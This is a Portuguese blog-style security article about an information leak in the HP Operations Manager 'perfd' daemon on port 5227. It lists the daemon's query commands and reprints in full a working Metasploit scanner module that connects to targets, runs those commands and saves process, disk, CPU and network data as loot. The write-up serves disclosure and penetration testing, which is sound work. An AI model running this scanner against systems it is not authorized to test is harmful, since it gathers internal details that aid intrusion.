Vazamento de informações vitais via "HP Operations Manager Perfd"

Durante um teste de intrusão (Penetration Test) realizado recentemente, encontrei um daemon chamado perfd que escutava na porta 5227. De acordo com a IANA, o daemon é o serviço "HP Performance System Metric Service". Vamos ver o que ele oferece de informações vitais na visão de um atacante.

[ Hits: 4.800 ]

Por: Roberto Soares (3spreto) em 31/10/2014 | Blog: http://codesec.blogspot.com


Vamos lá?



Durante um teste de intrusão (Penetration Test) realizado recentemente, encontrei um daemon chamado perfd que escutava na porta 5227. De acordo com a IANA[1], o daemon é o serviço "HP Performance System Metric Service"[2].
Linux: Vazamento de informações vitais via

Após uma rápida análise, descobri que o daemon responde com dados vitais e podemos visualizar informações como CPU, discos, processos etc.

Comandos:
  • u - discos compartilhados
  • i - espaço do disco
  • p - lista dos processos
  • a - informações sobre CPU
  • g - status do servidor
  • l - interfaces de rede (estatísticas de entrada/saída)
  • T - escopo de transações
  • A - outras informações
  • q e Q - sai do prompt

O vazamento de informações confidenciais através do acesso à funcionalidade do aplicativo é, geralmente, devido a problemas na concepção do projeto. Embora aparentemente inócua, esta informação pode fornecer pistas sobre a aplicação e os sistemas que o suportam, muitas vezes revelando detalhes sobre o funcionamento interno do sistema.

Idealmente, você deve configurar o aplicativo para ser acessível somente por administradores de sistema e/ou pessoal de suporte.

Para automatizar, escrevi um módulo para o Metasploit[3], acelerando os comandos a serem executados no alvo.

Uso[4]:
Linux: Vazamento de informações vitais via

Nota: alterar o endereço IP (RHOSTS) para o correto.

Saída:
Linux: Vazamento de informações vitais via

Visualizando o arquivo salvo, você vai encontrar um resultado semelhante a este abaixo (neste caso, os processos):
Linux: Vazamento de informações vitais via

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  # TODO: figure out what these do:
  #   o: valid command, takes no args, does nothing
  #   B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args
  ALLOWED_COMMANDS = %w(a A i g l p t T u w Z)

  def initialize
    super(
      'Name'        => 'HP Operations Manager Perfd Environment Scanner',
      'Description' => %q{
        This module will enumerate the environment
        HP Operation Manager via daemon perfd.
        },
      'Author'      => [ 'Roberto Soares Espreto ' ],
      'License'     => MSF_LICENSE
    )

    commands_help = ALLOWED_COMMANDS.join(',')
    register_options(
    [
      Opt::RPORT(5227),
      OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help])
    ], self.class)
  end

  def commands
    datastore['COMMANDS'].split(/[, ]+/).map(&:strip)
  end

  def setup
    super
    if datastore['COMMANDS']
      bad_commands = commands - ALLOWED_COMMANDS
      unless bad_commands.empty?
        fail ArgumentError, "Bad perfd command(s): #{bad_commands}"
      end
    end
  end

  def run_host(target_host)
    begin

      connect
      banner_resp = sock.get_once
      if banner_resp && banner_resp =~ /^Welcome to the perfd server/
        banner_resp.strip!
        print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}")
        perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp)
        sock.puts("\n")

        commands.each do |command|
          sock.puts("#{command}\n")
          Rex.sleep(1)
          command_resp = sock.get_once

          loot_name = "HP Ops Agent perfd #{command}"
          path = store_loot(
            "hp.ops.agent.perfd.#{command}",
            'text/plain',
            target_host,
            command_resp,
            nil,
            "HP Ops Agent perfd #{command}",
            perfd_service
          )
          print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}")
        end
      else
        print_error("#{target_host}:#{rport}, Perfd server banner detection failed!")
      end
      disconnect
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue Timeout::Error => e
      print_error(e.message)
    end
  end
end

Referências


Previamente postado pelo mesmo autor, em:
   

Páginas do artigo
   1. Vamos lá?
Outros artigos deste autor

Metasploit Exploitation

From Deploy WAR (Tomcat) to Shell (FreeBSD)

CouchDB - For Fun and Profit

Recon and Scan with Metasploit

Integração Contínua com Jenkins - Instalação (Parte 1)

Leitura recomendada

Snort + BarnYard2 + Snorby no Slackware 14.1

PaX: Solução eficiente para segurança em Linux

Proteção utilizando fail2ban contra ataques do tipo

PacketFence em Debian 6

Integração de servidores Linux com Active Directory

  
Comentários
[1] Comentário enviado por rodrigocontrib em 31/10/2014 - 22:05h

Da para fazer um estrago se o cara não tiver um firewall.

[2] Comentário enviado por px em 02/11/2014 - 18:41h

Por isto que uma atuação mais ativa no quesito segurança e testes é sempre necessária! vai esperar alguém descobrir a falha antes? claro que neste caso a porta estava aberta, escancarada! rsrsr


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts